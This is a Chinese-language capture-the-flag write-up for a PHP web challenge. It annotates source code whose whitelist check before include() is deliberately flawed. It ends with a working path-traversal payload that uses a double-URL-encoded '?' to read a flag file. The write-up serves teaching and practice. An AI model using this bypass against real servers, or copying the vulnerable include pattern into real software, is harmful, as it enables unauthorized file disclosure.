1.点开一看发现一个表情包，f12查看源码发现提示让去找source.php页面，转到source.php页面后看到如下代码，日常代码审计，再看其中提到了hint.php,接下来跳转到hint.php看，提示flag not here, and flag in ffffllllaaaagggg
<?php
highlight_file(__FILE__);//指定地址
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
先看这一块，看看如何传值如果
if (! empty($_REQUEST['file']) //如果$_REQUEST['file']传值非空
&& is_string($_REQUEST['file'])//并且检测是否是字符串
&& emmm::checkFile($_REQUEST['file'])//并且能通过checkfile的检测
) {
include $_REQUEST['file'];//这时就把$_REQUEST['file']包含进去
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
} //如果不行就打印出表情包
?>
知识点：
is_string()函数用于检测变量是否是字符串。
::是调用类中抄的静态方法或者常量,
接下来看class类中对checkfile检测的方法
<?php
highlight_file(__FILE__);//指定地址
class emmm//定义emmm类用于下边的if判断
{
public static function checkFile(&$page)//创建checkFIle方法并把传进来的参数给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明白名单
if (! isset($page) || !is_string($page)) {//如果page变量不存在或者非字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//如果page变量存在于白名单中
return true;
}
$_page = mb_substr(//截取$page中?前部分，如果没有就截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {//判断page变量是否存在于白名单中
return true;
}
$_page = urldecode($page);//url解码$page
$_page = mb_substr(//截取$page中?前部分，如果没有就截取整个$page
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
知识点：
highlight_file() 函数对文件进行语法高亮显示
_FILE_：获得文件的绝对地址
=>符号来分隔键和值，左侧表示键，右侧表示值
mb_substr() 函数返回字符串的一部分
mb_strpos()：返回要查找的字符串在别一个字符串中首次出现的位置
in_array() 函数搜索数组中是否存在指定的值。
因为两次判断是否在白名单中又要对问号前的部分，并且第二次截取的时候要先url解码后在截取，让file包含进去所以就可以构造
?file=source.php?../../../../../ffffllllaaaagggg //因为不知道ffffllllaaaagggg的路径就逐渐添加../的个数来找
因为会进行一次url解码所以对第二个问号进行两次url编码也就是%253f
所以最终的
?file=source.php%253f../../../../../ffffllllaaaagggg
